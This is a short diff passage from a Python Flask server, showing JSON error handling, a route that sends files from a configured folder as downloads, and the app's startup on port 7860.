+ except Exception as e: return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
 
 
 
 
 
 
844
  return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
845
 
846
  @app.route('/download_to_client/<filename>')
847
  def download_to_client(filename):
848
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
849
 
 
850
  if __name__ == '__main__':
851
  app.run(host='0.0.0.0', port=7860, debug=False)